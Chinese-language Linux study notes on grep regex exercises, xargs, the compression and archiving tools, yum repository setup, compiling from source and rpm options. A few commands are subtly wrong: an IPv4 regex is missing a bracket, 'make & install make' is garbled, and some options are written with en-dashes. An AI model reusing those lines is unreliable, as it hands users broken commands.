-A, --after-context=NUM 打印匹配到的文本的后NUM行
-B, --before-context=NUM 打印匹配到的文本的前NUM行
-C, --context=NUM 打印匹配到的文本的前后各NUM行
-NUM same as --context=NUM
-e 实现多个选项间的逻辑or关系
列如:grep –e ‘cat ’ -e ‘dog’ file
-w 匹配整个单词
-H, --with-filename 为每一匹配项打印文件名,显示在行号的位置上
-E/egrep 使用ERE
-F/fgrep 不支持正则表达式
-P 使用 Perl 正则表达式
-f, --file=FILE 根据模版 FILE 处理
Example:
grep root /etc/passwd
grep "$USER" /etc/passwd
grep '$USER' /etc/passwd
grep `whoami` /etc/passwd
1、显示/proc/meminfo文件中以大小s开头的行(要求:使用两种方法)
cat /proc/meminfo | grep '^[sS]' # 匹配开头[sS]任意单个字符
cat /proc/meminfo | grep '^[s\|S]' # 匹配开头s或者S
grep '^s\|^S' /proc/meminfo # 匹配开头s或者开头S
grep -i '^s' /proc/meminfo # 匹配开头s忽略大小写
2、显示/etc/passwd文件中不以/bin/bash结尾的行
cat /etc/passwd | grep -v '/bin/bash$' # 不显示匹配结尾前'/bin/bash'的行
3、显示用户 root 默认的 shell 程序
cat /etc/passwd | grep -w '^root' | grep -o '[^/]\+$'
# -w 匹配全单词;-o 只显示匹配的字符串;[^/] 排除/;\+ 至少一次;
# 从结尾向前匹配:至少执行排除'/'一次后停止匹配
4、找出/etc/passwd 中的两位或三位数
grep "\b[0-9]\{2,3\}\b" /etc/passwd # \b 词首锚定,\b 词尾锚定
grep '\<[0-9]\{2,3\}\>' /etc/passwd # \< 词首锚定,\> 词尾锚定
grep -w '[0-9]\{2,3\}' /etc/passwd
egrep -w '[0-9]{2,3}' /etc/passwd
5、显示CentOS7的/etc/grub2.cfg文件中,至少以一个空白字符开头的且后面有非空白字符的行
grep '^[[:space:]]\+[^[:graph:]]' /etc/grub2.cfg
egrep '^[[:space:]]+[^[:graph:]]' /etc/grub2.cfg
6、找出“netstat -tan”命令结果中以LISTEN后跟任意多个空白字符结尾的行
netstat -tan | grep 'LISTEN[[:space:]]*$'
7、显示CentOS7上所有UID小于1000以内的用户名和UID
cut -d: -f 1,3 /etc/passwd | grep '\<[0-9]\{0,3\}\>' # 匹配任意数字至少0个字符,至多3个字符
cut -d: -f 1,3 /etc/passwd | grep '\b[0-9]\{0,3\}\b'
cut -d: -f 1,3 /etc/passwd | grep -w '[0-9]\{0,3\}'
cut -d: -f 1,3 /etc/passwd | egrep -w '[0-9]{0,3}'
cut -d: -f 1,3 /etc/passwd | tr : ' ' | awk '{if($2<1000)print $1,$2}'| tr ' ' :
8、添加用户bash、testbash、basher、sh、nologin(其shell为/sbin/nologin),找出/etc/passwd用户名和shell同名的行
useradd bash && useradd testbash && useradd basher && useradd sh && useradd -s /sbin/nologin nologin
cat /etc/passwd | grep '\(^[a-zA-Z0-9]\+\>\).*\<\1$'
cat /etc/passwd | egrep '(^[[:alnum:]]+\>).*\<\1$'
# 匹配以任意数字或字母开头的单词至少一次,放入内置变量 \1,再匹配任意字符任意次直到结尾前一个单词是 \1
9、利用df和grep,取出磁盘各分区利用率,并从大到小排序
df | grep ^/dev | grep -o '[0-9]\{1,\}%'|sort -nr # -o 只显示匹配的字符串
df | grep ^/dev | egrep -o '[0-9]{1,}%'|sort -nr # {1,} 匹配前一个字符至少1次
1、显示三个用户root、mage、wang的UID和默认shell
cut -d: -f1,3,7 /etc/passwd | grep -w '^\(root\|mage\|wang\)'
cut -d: -f1,3,7 /etc/passwd | egrep -w '^(root|mage|wang)'
2、找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行
egrep -o '^.*\(\)' /etc/rc.d/init.d/functions
grep -o '^[a-zA-Z0-9_].*()' /etc/rc.d/init.d/functions
grep -o '^[[:alnum:]_].*()' /etc/rc.d/init.d/functions
3、使用egrep取出/etc/rc.d/init.d/functions中其基名
echo /etc/rc.d/init.d/functions | egrep -o '[^/]+$'
# 从最后一个字符开始向前匹配,排除/至少一次后停止
echo /etc/rc.d/init.d/functions | egrep -ow '[[:alnum:]]+$'
# 从最后一个字符开始向前匹配,匹配到任意字母或数字组成的单词至少一次后停止,基名不能有特殊字符
4、使用egrep取出上面路径的目录名
echo /etc/rc.d/init.d/functions | egrep -o '.*/\<'
# 匹配任意字符任意次数到最后一个/单词结尾停止
echo /etc/rc.d/init.d/functions | egrep -o '/.*/' # 匹配绝对路径目录名
5、统计last命令中以root登录的每个主机IP地址登录次数
last | grep '^root' | awk '{print $1,$3}'| grep -v '[a-z]$'| sort | uniq -c
# 筛选root登陆;筛选只显示用户和主机IP;排除没有主机IP的行(不显示以任意字母结尾的行);排序;统计
last | grep ^root | egrep -o "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c
# 筛选root登陆;筛选只显示主机IP;排序;统计
6、利用扩展正则表达式分别表示0-9、10-99、100-199、200-249、250-255
echo {1..255} | egrep -wo '[0-9]' | tr "\n" " " ; echo
echo {1..255} | egrep -wo '[1-9][0-9]' | tr "\n" " " ; echo
echo {1..255} | egrep -wo '1[0-9]{2}' | tr "\n" " " ; echo
echo {1..255} | egrep -wo '2[0-4][0-9]' | tr "\n" " " ; echo
echo {1..255} | egrep -wo '25[0-5]' | tr "\n" " " ; echo
7、显示ifconfig命令结果中所有IPv4地址
ifconfig | egrep -o "\<(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4]0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\>"
8、将此字符串:welcome to magedu linux 中的每个字符去重并排序,重复次数多的排到前面
echo "welcome to magedu linux" | tr -d " " | grep -o "." | sort | uniq -c | sort -nr
# 删除空格;拆分字符到每行(只显示匹配到的任意字符的行);排序;去重;按第一行数字降序排序
xargs
xargs可以将管道或标准输入(stdin)数据转换成命令行参数(多行参数多次执行命令),也能够从文件的输出中读取数据。
也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。
默认的命令是 echo,这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。
xargs [OPTION]... COMMAND INITIAL-ARGS...
-0, --null 项之间用null分隔,而不是空格;禁用引号和反斜杠处理
-a, --arg-file=FILE 从文件读取参数,而不是标准输入
-d, --delimiter=CHARACTER 输入项用字符分隔,而不是空格。禁用引号和反斜杠处理
-E END 如果输入出现 END,则忽略之后的输入
-e [END], --eof[=END] 指定 END 作为文件结尾字符串,=END Equivalent to -E
-i,-I,--replace=[R] 传参到指定位置{}
-L,-l, --max-lines=MAX-LINES 从标准输入一次读取 MAX-LINES 行送给 command 命令
-l 每个命令行最多使用一个非空白输入行
-n, --max-args=MAX-ARGS 每个命令行最多使用 MAX-ARGS 个参数(default:全部)
-P, --max-procs=MAX-PROCS 一次运行的最大进程数,默认是1,0为尽可能多。
-p, --interactive 运行命令前提示
--process-slot-var=VAR 在子进程中设置环境变量 VAR
-r, --no-run-if-empty 如果没有参数,则不运行命令。
若不提供此选项,则命令将至少运行一次
-s, --max-chars=MAX-CHARS 限制 command 的最大字符数为 MAX-CHARS
--show-limits 显示命令行长度的限制
-t, --verbose 先打印命令,然后再执行
-x exit,主要是配合-s使用
结合 find 使用可以避免问题:
用 rm 删除太多的文件时候,可能得到一个错误信息:/bin/rm Argument list too long.
find -type f -name “*.txt” -print0 | xargs -0 rm
解决空格和换行符的错误:-print0 在find的每一个结果之后加一个NULL字符
xargs -0 将NULL作为分隔符
find -type f -name "*.php" -print0|xargs -0 wc -l 统计当前目录中所有 .php文件的行数
查找当前目录中所有的 jpg 文件,并且压缩它们到images.tar.gz:
find -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz
ls *.jpg | xargs -n1 -I {} cp {} /data/images 复制所有图片文件到 /data/images 目录下
cat url-list.txt | xargs wget -c 下载url-list.txt中所有链接
Examples:
ls | xargs rm 删除当前目录所有文件
find /bin/ -perm /7000 | xargs ll 查找有至少一个特殊权限的文件
find /bin/ -perm -7000 | xargs ll 查找有全部特殊权限的文件
1 作替换工具,读取输入数据重新格式化后输出。
定义一个测试文件,内有多行文本数据:
cat test.txt
a b c d e f g
h i j k l m n
o p q
r s t
u v w x y z
多行输入单行输出:
cat test.txt | xargs
a b c d e f g h i j k l m n o p q r s t u v w x y z
-n 多行输出:
cat test.txt | xargs -n3
a b c
d e f
g h i
j k l
m n o
p q r
s t u
v w x
y z
xargs -n1 < 文件 将文件按照分组显示
a
b
c
d
e
f
g
-d
echo "nameXnameXnameXname" | xargs -dX
name name name name
-d -n
echo "nameXnameXnameXname" | xargs -dX -n2
name name
name name
2 建立测试环境----------
sk.sh文件内容:
#!/bin/bash
#sk.sh命令内容,打印出所有参数。
echo $*
chmod +x sk.sh
arg.txt文件内容:
aaa
bbb
ccc
-I,xargs的每项,一般是一行一行赋值给 {},{}表示xargs每行传递的参数
cat arg.txt | xargs -I {} ./sk.sh qianzhun {} houzhui
qianzhun aaa houzhui
qianzhun bbb houzhui
qianzhun ccc houzhui
compress
yum -y install ncompress
compress/uncompress: .Z
compress [-dfvcVr] [-b maxbits] [file ...]
-d 解压缩,相当于uncompress
-c 结果输出至标准输出,不删除原文件
-v 显示详情
Examples:
uncompress file.Z 解压缩
zcat file.Z 不显式解压缩的前提下查看文本文件内容
Examples:
zcat file.Z >file
gzip
gzip/gunzip: .gz
gzip [OPTION]... FILE ...
-d 解压缩,相当于gunzip
-c 结果输出至标准输出,保留原文件不改变
-# 指定压缩比,#取值为1-9,值越大压缩比越大
gunzip file.gz 解压缩
zcat file.gz 不显式解压缩的前提下查看文本文件内容
Examples:
gzip -c messages > messages.gz ; cat messages | gzip > m.gz 压缩
gzip -c -d messages.gz > messages 解压缩
zcat messages.gz > messages 不显式解压缩的前提下查看文本文件内容
bzip2
bzip2/bunzip2: .bz2
bzip2 [OPTION]... FILE ...
-c 结果输出至标准输出
-k keep, 保留原文件
-d 解压缩
-# 1-9,压缩比,默认为9
bunzip2 file.bz2 解压缩
bzcat file.bz2 不显式解压缩的前提下查看文本文件内容
Examples:
bzip2 -c messages > messages.bz2 ; cat messages | bzip2 > m.bz2 压缩
bzip2 -c -d messages.bz2 > messages ; bunzip2 -k messages.bz2 解压缩
bzcat messages.bz2 > messages 不显式解压缩的前提下查看文本文件内容
xz
xz/unxz: .xz
xz [OPTION]... FILE ...
-k keep, 保留原文件
-d 解压缩
-# 压缩比,取值1-9,默认为6
unxz file.xz 解压缩
xzcat file.xz 不显式解压缩的前提下查看文本文件内容
Examples:
xz -c messages > messages.xz ; cat messages | unxz > m.xz 压缩
xz -c -d messages.xz > messages ; unxz -k messages.xz 解压缩
xzcat messages.xz > messages 不显式解压缩的前提下查看文本文件内容
zip
zip/unzip
打包压缩
zip –r /backup/sysconfig /etc/sysconfig/
cat /var/log/messages | zip messages -
解包解压缩
unzip sysconfig.zip
unzip -p message > message
cpio
通过重定向的方式将文件进行打包备份,还原恢复的工具,它可以解压以“.cpio”或者“.tar”结尾的文件
cpio [OPTION...] [目标目录] 归档文件及从包中提取文件
-i, --extract 从包中提取文件 (运行 copy-in 模式)
-o, --create 创建包 (运行 copy-out 模式)
-p, --pass-through 运行 copy-pass 模式
-t, --list 打印输入内容列表
--block-size=BLOCK-SIZE 设置 I/O 块大小为 BLOCK-SIZE * 512字节
-B 设置 I/O 块大小为 5120 字节
-c same as "-H newc"
-C, --io-size=NUMBER 设置 I/O 块大小为指定的 NUMBER 字节
-f, --nonmatching 仅拷贝不匹配任意给定的模式的文件
-F, --file=[[用户@]主机:]文件名
用“文件名”来替代标准输入和输出。
如果文件在远程机器上,则可指定用户和主机
-H, --format=格式 使用指定的包格式: newc 新的(SVR4)便携式格式
odc 旧的可移植(ASCII)格式
-M, --message=STRING 当到达备份介质的尾部的时候打印 STRING
-n, --numeric-uid-gid 在内容列表的详表中,显示数字的 UID 和 GID
--quiet 不打印已拷贝的块数
--rsh-command=COMMAND 用 COMMAND 替代 rsh
-v, --verbose 详细列出已处理的文件名称
-V, --dot 每处理一个文件就打印一个“.”
-W, --warning=FLAG 控制警告信息显示。当前 FLAG 可为“none”、“truncate”或“all”。
多个选项可以累积。
copy-in 模式选项:
-b, --swap same as "-sS"
交换数据中每个字的两个半字以及每个半字中的两个字节
-r, --rename 交互式重命名文件
-s, --swap-bytes 交换文件中每个半字中的两个字节
-S, --swap-halfwords 交换文件中每个字(4个字节)中的两个半字
--to-stdout 提取文件到标准输出
-E, --pattern-file=FILE 从 FILE 中读取指定提取列表的文件名的模式
--only-verify-crc 在读取CRC格式的存档文件时,
只需验证归档文件中每个文件的校验和,而不是实际提取文件
copy-out 模式选项:
-A, --append 追加到已存在的归档文件。
--device-independent, --reproducible
创建独立于设备(可复制)的存档
--ignore-devno 不存储设备号
-O [[用户@]主机:]文件名 指定的归档文件名而不是标准输出。
如果文件在远程机器上,则可指定用户和主机
--renumber-inodes 重新编号索引节点
copy-pass 模式选项:
-l, --link 在可行时链接文件而不是拷贝文件
copy-in 和 copy-out 模式选项:
--absolute-filenames 文件名不去除文件系统前缀
--no-absolute-filenames 相对于当前目录来创建所有文件
copy-out 和 copy-pass 模式选项:
-0, --null 文件名列表分隔符使用 NULL
-a, --reset-access-time 文件读取后恢复文件的访问时间
-I [[用户@]主机:]文件名 从指定的归文件读入而不是从标准输入读入。
如果文件在远程机器上,则可指定用户和主机
-L, --dereference 跟随符号链接
(拷贝符号链接指向的文件而不是拷贝链接本身)
-R, --owner=[用户][:.][组]
设置所有文件的所有权信息到指定的用户和/或组
copy-in 和 copy-pass 模式选项:
-d, --make-directories 需要时创建目录
-m, --preserve-modification-time
创建文件时保留以前文件的修改时间
--no-preserve-owner 不改变文件的所有权
--sparse 把含有大块零的文件以稀疏文件方式写出
-u, --unconditional 无条件覆盖所有文件
Examples:
find /etc -print | cpio -ov >bak.cpio 备份/etc 到 bak.cpio
find /data | cpio -oA -F bak.cpio 追加/data 到 bak.cpio
cpio –tv < bak.cpio 内容预览
cpio –idv < bak.cpio 解包文件
cpio -o < name-list [> archive] 归档 name-list 中的文件到 archive
cpio -i [< archive] 从 archive 中提取文件
cpio -p destination-directory < name-list
拷贝 name-list 中的文件到 destination-directory
tar
tar [选项...] [-f] [设备] [本地文件] 为文件和目录创建档案
打包(tar命令)是指将一大堆文件或目录变成一个总的归档(.tar)文件;
压缩(gzip bzip2命令)则是将一个大的文件通过一些压缩算法变成一个小文件。
归档:
-A, --catenate,--concatenate 新增文件到已存在的归档;
-c, --create 创建一个新归档
-d, --diff,--compare 找出归档和文件系统的差异
--delete 从归档(非磁带!)中删除
-r, --append 追加文件至归档结尾
-t, --list 列出归档内容
--test-label 测试归档卷标并退出
-u, --update 仅追加比归档中副本更新的文件
-x, --extract,--get 从归档中解出文件
压缩:
-a, --auto-compress 使用归档后缀名来决定压缩程序
-j, --bzip2 通过 bzip2 过滤归档
-J, --xz 通过 xz 过滤归档
--lzip 通过 lzip 过滤归档
--lzma 通过 lzma 过滤归档
--lzop
--no-auto-compress 不使用归档后缀名来决定压缩程序
-z, --gzip,--gunzip,--ungzip 通过 gzip 过滤归档
-Z, --compress,--uncompress 通过 compress 过滤归档
本地文件选择:
-C, --directory=DIR 改变至目录 DIR
--exclude=PATTERN 排除匹配 PATTERN 的文件
-h, --dereference 遵循符号链接;归档并转储它们指向的文件
--hard-dereference 跟踪硬链接;归档并转储它们引用的文件
-N, --newer=DATE-OR-FILE,--after-date=DATE-OR-FILE
只保存比 DATE-OR-FILE 更新的文件
--one-file-system 创建归档时保存在本地文件系统中
-P, --absolute-names 文件名使用绝对名称,不要从文件名中清除引导符‘/’
-X, --exclude-from=FILE 排除 FILE 中列出的模式串
设备选择:
-f, --file=ARCHIVE 使用归档文件或 ARCHIVE 设备,指定压缩文件路径
可选:
-B, --read-full-records 读取时重新分块(只对 4.2BSD 管道有效)
-v, --verbose 显示执行详细过程
-l 只要不是所有链接都被输出就打印信息
-k 解压缩时不替换现有文件
-m, --touch 不提取文件修改时间
-w, --interactive,--confirmation
每次操作都要求确认
-p, --preserve-permissions,--same-permissions
解压文件权限信息(默认只为 root 服务)
--same-owner 尝试解压时保持所有者关系一致(root 默认此项)
-O 将文件提取到标准输出
-T 选项指定输入文件列表 -X 选项指定包含要排除的文件列表
tar zcvf mybackup.tgz -T /root/includefilelist -X /root/excludefilelist
tar -cf all.tar *.jpg 将所有.jpg的文件打成一个名为all.tar的包
tar -cpvf /PATH/FILE.tar FILE... 创建归档,保留权限
tar -rf /PATH/FILE.tar FILE... 追加文件至归档: 注:不支持对压缩文件追加
tar -uf all.tar logo.gif 更新原来all.tar包中logo.gif文件
tar -tf all.tar 列出all.tar包中所有文件
tar -xf all.tar 解出all.tar包中所有文件
tar -xf /PATH/FILE.tar -C /PATH/ 解出all.tar包中所有文件到/PATH/下
压缩
tar –cvf jpg.tar *.jpg 将目录里所有jpg文件打包成tar.jpg
tar –czf jpg.tar.gz *.jpg 将目录里所有jpg文件打包成jpg.tar后,并且将其用gzip压缩,
生成一个gzip压缩过的包,命名为jpg.tar.gz
tar –cjf jpg.tar.bz2 *.jpg 将目录里所有jpg文件打包成jpg.tar后,并且将其用bzip2压缩,
生成一个bzip2压缩过的包,命名为jpg.tar.bz2
tar –cZf jpg.tar.Z *.jpg 将目录里所有jpg文件打包成jpg.tar后,并且将其用compress压缩,
生成一个umcompress压缩过的包,命名为jpg.tar.Z
rar a jpg.rar *.jpg rar格式的压缩,需要先下载rar for Linux
zip jpg.zip *.jpg zip格式的压缩,需要先下载zip for linux
解压
tar –xvf file.tar 解压tar
tar -zxvf file.tar.gz 解压tar.gz
tar –Zxvf file.tar.Z 解压tar.Z
tar -xjvf file.tar.bz2 解压tar.bz2
unrar e file.rar 解压rar
unzip file.zip 解压zip
gzip -d file.gz 解压gz 或者用gunzip
bzip2 -d file.bz2 解压bz2 或者用bunzip2
uncompress file.Z 解压Z
tar xzf redis-6.0.4.tar.gz
cd redis-6.0.4
./configure --with-internal-glib
make & install make
yum
yum
--nogpgcheck 禁止进行gpg check
-y 自动回答为“yes”
-q 静默模式
--downloadonly 只下载不安装
--downloaddir 指定rpm包的下载路径
--disablerepo=repoidglob 临时禁用此处指定的repo
--enablerepo=repoidglob 临时启用此处指定的repo
--noplugins 禁用所有插件
List of Commands:
repolist [all|enabled|disabled]
显示配置的软件存储库,yum源
provides 查找提供给定值的包
install 在系统上安装一个或多个软件包
reinstall 重新安装程序包
list {available|installed|updates}
列出一个或多个包
remove 卸载软件
erase 从系统中删除一个或多个程序包
check 检查rpmdb中是否存在问题
check-update 检查可用的包更新
clean [ packages | metadata | expire-cache | rpmdb | plugins | all ]
删除缓存数据
makecache 生成元数据缓存
downgrade 降级包
update 更新系统上的一个或多个包
update-minimal “最新”包匹配升级,该匹配会修复影响系统的问题
updateinfo 作用于存储库更新信息
upgrade 更新包考虑过时
info 显示有关包或包组的详细信息
search 搜索给定字符串的包详细信息
deplist 列出包的依赖项
history [info|list|packages-list|packages-info|summary|addon-info|redo|undo|
rollback|new|sync|stats]显示或使用事务历史记录
load-transaction 从文件名加载保存的事务
groups 显示或使用包组信息
distribution-synchronization 将已安装的软件包同步到最新的可用版本
fssnapshot 创建文件系统快照,或列出/删除当前快照
shell 运行交互式yum shell
Example:
yum install -y 软件名称 直接安装软件
yum groups install -y 软件包组名称 直接安装软件包组
yum groups list 查看哪些软件包组可以安装
yum provides COMMAND 查找提供命令的软件包
yum clean all 清除缓存目录下的软件包及旧的headers
yum update 软件名称 更新软件
yum remove 软件名称 卸载软件
yum groups remove 软件包组名称 卸载软件包组
yum check-update 检查可用的包更新
yum deplist 软件名称 列出包的依赖项
yum search 软件名称或者关键字 查找相关功能的包
yum list 软件名称 查看哪些软件可以安装
updates 列出所有可更新的软件包
installed 列出所有已安装的软件包
extras 列出所有已安装但不在Yum Repository 內的软件包
yum info 软件名称 列出所有软件包的信息
updates 列出所有可更新的软件包信息
installed 列出所有已安装的软件包信息
extras 列出所有已安装但不在Yum Repository 內的软件包信息
yum install --downloadonly --downloaddir=/local_basic/ tree 只下载不安装包及其依赖
yum localinstall 包名全称(绝对路径) ; rpm -ivh 包名全称(绝对路径) 安装rpm包
/etc/yum.conf:为所有仓库提供公共配置
[main]
cachedir=/var/cache/yum/$basearch/$releasever
#cachedir yum缓存的目录,存储rpm包和数据库
keepcache=0
#是否保留缓存,0表示安装后删除安装包 1表示安装后保留安装包
debuglevel=2
#排错等级,默认2,只记录安装和删除的记录
logfile=/var/log/yum.log
#日志目录
exactarch=1
#exactarch 是否升级与你安装的cpu体系一样的包
obsoletes=1
gpgcheck=1
#gpgcheck 是否进行gpg校验,0不校验,1校验
plugins=1
installonly_limit=5
bugtracker_url=http://bugs.centos.org/set_project.php?project_id=19&ref=http://bugs.centos.org/bug_report_page.php?category=yum
distroverpkg=centos-release
/etc/yum.repos.d/*.repo:为仓库的指向提供配置
[repositoryID] # repo id,必须独一无二,为了区分不同的仓库
name=Some name for this repository # repo name,可以使用变量$releasever等
baseurl=url://path/to/repository/ # 仓库的实际存放目录或链接
enabled={1|0} # 是否启用这个yum仓库地址,0表示不启动,1表示启动
gpgcheck={1|0} # 是否进行gpg校验,0不校验,1校验
gpgkey=URL # 数字证书的公钥所在位置
enablegroups={1|0}
failovermethod={roundrobin|priority}
roundrobin:意为随机挑选,默认值
priority:按顺序访问
cost= 默认为1000
repo配置文件中可用的变量:
$releasever: 当前OS的发行版的主版本号
$arch: 平台,i386,i486,i586,x86_64等
$basearch:基础平台;i386, x86_64
$YUM0-$YUM9:自定义变量
禁用yum加速插件:Loaded plugins: fastestmirror
vi /etc/yum/pluginconf.d/fastestmirror.conf
[main]
enabled=1
改为
enabled=0
阿里云repo文件:http://mirrors.aliyun.com/repo/
清华大学CentOS系统源:https://mirrors.tuna.tsinghua.edu.cn/centos/$releasever/os/x86_64/
阿里云CentOS系统源:https://mirrors.aliyun.com/centos/$releasever/os/x86_64/
阿里云EPEL源:https://mirrors.aliyun.com/epel/$releasever/x86_64
阿里巴巴开源软件:https://opsx.alibaba.com/
新建仓库 172.16.0.1_cobbler_ks_mirror_CentOS-X-x86_64_.repo
yum-config-manager --add-repo= http://172.16.0.1/cobbler/ks_mirror/7/
yum-config-manager --disable “仓库名" # 禁用仓库
yum-config-manager --enable “仓库名” # 启用仓库
挂载光盘
mount /dev/cdrom /mnt/cdrom
创建配置文件
[CentOS7]
name=
baseurl=
gpgcheck=
enabled=
创建yum仓库:
createrepo [options] <directory>
yum -y install yum-utils
yumdownloader
--destdir 指定下载的软件包存放路径
--resolve 解决依赖关系并下载所需的包
Example:
yumdownloader --destdir=/tmp --resolve httpd 只下载httpd包及其依赖到/tmp不安装
reposync 仓库同步工具
-r 指定已经本地已经配置的 yum 仓库的 repo 源名称
-p 指定下载的路径
Example:
reposync -p /opt/local_sync 同步所有远端yum仓库到本地目录
reposync -np /opt/local_sync 更新rpm包
reposync -r epel -p /local_epel 将远端yum仓库里面的包全部下载到本地
yum -y install createrepo
createrepo 编辑yum库工具
-u, --baseurl <url> 指定Base URL的地址
-o, --outputdir <url> 指定元数据的输出位置
-x, --excludes <packages> 指定在形成元数据时需要排除的包
-i, --pkglist <filename> 指定一个文件,该文件内的包信息将被包含在即将生成的元数据中,格式为每个包信息独占一行,不含通配符、正则,以及范围表达式。
-n, --includepkg 通过命令行指定要纳入本地库中的包信息,需要提供URL或本地路径。
-q, --quiet 安静模式执行操作,不输出任何信息。
-g, --groupfile <groupfile> 指定本地软件仓库的组划分,范例如下:
createrepo -g comps.xml /path/to/rpms 注意:组文件需要和rpm包放置于同一路径下。
-v, --verbose 输出详细信息。
-c, --cachedir <path> 指定一个目录,用作存放软件仓库中软件包的校验和信息。当createrepo在未发生明显改变的相同仓库文件上持续多次运行时,指定cachedir会明显提高其性能。
--update 如果元数据已经存在,且软件仓库中只有部分软件发生了改变或增减,则可用update参数直接对原有元数据进行升级,效率比重新分析rpm包依赖并生成新的元数据要高很多。
-p, --pretty 以整洁的格式输出xml文件。
-d, --database 该选项指定使用SQLite来存储生成的元数据,默认项。
Example:
createrepo -po /opt/local_sync/base/ /opt/local_sync/base/ 创建索引
createrepo --update /opt/local_sync/base 更新源数据
yum -y install yum-plugin-downloadonly
yum -y install yum-plugin-priorities
yum源配置文件(/etc/yum.repos.d/CentOS-Base.repo)新增配置项
priority=n
n值越小越优先
编译安装
1、./configure
--prefix=/PATH:指定默认安装位置,默认为/usr/local/
--sysconfdir=/PATH:配置文件安装位置
System types:支持交叉编译
Optional Features: 可选特性
--disable-FEATURE
--enable-FEATURE[=ARG]
Optional Packages: 可选包
--with-PACKAGE[=ARG] 依赖包
--without-PACKAGE 禁用依赖关系
注意:通常被编译操作依赖的程序包,需要安装此程序包的“开发”组件,其包名一般类似于name-devel-VERSION
(1) 通过选项传递参数,指定启用特性、安装路径等;
执行时会参考用户的指定以及Makefile.in文件生成Makefile
(2) 检查依赖到的外部环境,如依赖的软件包
c/c++编译器: gcc (GNU C Complier)
glibc:标准库
2、make 根据Makefile文件,构建应用程序
3、make install 复制文件到相应路径
安装后配置:
(1) 二进制程序目录导入至PATH环境变量中
vi /etc/profile.d/NAME.sh
export PATH=/PATH/TO/BIN:$PATH
(2) 导入帮助手册
vi /etc/man.config|man_db.conf
添加一个MANPATH
开发工具:
autoconf: 生成configure脚本
automake:生成Makefile.in
注意:安装前查看INSTALL,README
官方自建站点:
apache.org (ASF:Apache Software Foundation)
mariadb.org
代码托管:
SourceForge.net
Github.com
code.google.com
yum install gcc gcc-c++ glibc glibc-devel pcre pcre-devel openssl openssl-devel systemd-devel zlib-devel vim lrzsz tree screen lsof tcpdump wget ntpdate net-tools iotop bc zip unzip nfs-utils
rpm
注意:
(1) 不要对内核做升级操作;Linux支持多内核版本并存,因此直接安装新版本内核
(2) 如果原程序包的配置文件安装后曾被修改,升级时,新版本提供的同一个配置文 件不会直接覆盖老版本的配置文件,而把新版本文件重命名(FILENAME.rpmnew)为后,保留
rpm 管理软件包程序
--nodigest 不校验软件包的摘要(完整性)
--nosignature 不验证软件包签名(来源合法性)
-v, -vv 提供更详细的输出
查询/验证包选项:
-a, --all 查询/验证所有包
-f, --file 查询/验证拥有 file 的包
-g, --group 查询/验证组中的包
-p, --package 查询/验证包文件
--whatrequires CAPABILITY 查询/验证需要依赖的软件包(指定的CAPABILITY被哪个包所依赖)
--whatprovides CAPABILITY 查询/验证提供依赖的软件包(指定的CAPABILITY由哪个包所提供)
查询(使用-q or --Query):
-c, --configfiles 列出所有配置文件
-d, --docfiles 列出所有文档文件
-L, --licensefiles 列出所有许可文件
-l, --list 列出包中的文件
-s, --state 显示列出的文件的状态
-R, --requires 列出此包所依赖的功能
验证选项(使用-V或--Verify):
--nofiledigest 不验证文件摘要
--nofiles 不验证包中的文件
--nodeps 不验证包依赖关系
--noscript 不执行验证脚本
S 文件大小不同
M 模式不同(包括权限和文件类型)
5 摘要(以前是MD5 sum)不同
D 设备主要/次要编号不匹配
L readLink(2)路径不匹配
U 用户所有权不同
G 组所有权不同
T mTime 不同
P capabilities 不同
安装/升级/擦除选项:
--allfiles 安装所有文件,甚至可能跳过配置
--allmatches 删除所有与<package>匹配的包
(如果<package>指定了多个包,通常会生成一个错误)
-e, --erase=<package>+ 擦除(卸载)包
当包卸载时,对应的配置文件,以FILENAME.rpmsave形式保留
--excludedocs 不安装文档
--excludepath=<path> 跳过具有前导组件的文件<path>
--force 强制安装,即使覆盖其他包的文件也要安装
-F, --freshen=<packagefile>+ 升级包(已安装旧版则升级,否则不升级)
-h, --hash 显示安装进度,安装包时散列打印哈希标记(与-v一起使用很好)
-i, --install 安装包
--noscripts 不执行软件包脚本
%pre 安装前脚本 --nopre
%post 安装后脚本 --nopost
%preun 卸载前脚本 --nopreun
%postun 卸载后脚本 --nopostun
--oldpackage 更新到软件包的旧版本(--force 自动使用这一功能)
--replacefiles 忽略软件包之间的冲突的文件
--replacepkgs 如果软件包已经有了,重新安装软件包
--test 测试安装,只是判断下是否能安装
-U, --upgrade=<packagefile>+ 升级包(已安装旧版则升级,否则安装包)
--reinstall=<packagefile>+ 重新安装程序包
通过popt alias/exec实现的选项:
--scripts list install/erase scriptlets from package(s)
--provides list capabilities that this package provides
--changelog list change logs for this package
/var/lib/rpm:rpm数据库
rpm {--initdb|--rebuilddb}
initdb: 初始化, 如果数据库不存在,则新建;否则不执行任何操作
rebuilddb:重建已安装的包头的数据库索引目录
校验软件包中的文件
rpm -K ( or --checksig) options file1.rpm ... fileN.rpm
rpm -K|checksig 包名全称 检查包的完整性和签名
导入所需要公钥
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
rpm -qa "gpg-pubkey*"
Example:
rpm -ivh 包名全称(绝对路径) 安装软件包
rpm -evh 软件包名 卸载软件包
rpm -Uvh 包名全称(绝对路径) 更新软件包
rpm -qa 软件包名 查看所有安装的软件包,需要先安装包
rpm -qi 软件包名|包名全称 查询软件安装信息,需要先安装包
rpm -ql 软件包名|包名全称 查询软件包中所有文件列表,需要先安装包
rpm -qc 软件包名|包名全称 查询软件包中所有配置文件,需要先安装包
rpm -qd 软件包名|包名全称 查询软件包中所有文档文件,需要先安装包
或者
rpm -qf 命令文件绝对路径 查询拥有 file 的包,需要先安装包
rpm -qf /bin/zsh
rpm -qif `which 程序名` 返回软件包的有关信息,需要先安装包
rpm -qlf `which 程序名` 返回软件包的文件列表,需要先安装包
rpm -qcf `which 程序名` 返回软件包中所有配置文件,需要先安装包
rpm -qdf `which 程序名` 返回软件包中所有文档文件,需要先安装包
rpm2cpio
rpm2cpio 从RPM包管理器(RPM)包中提取cpio存档
Example:
rpm2cpio rpm-1.1-1.i386.rpm
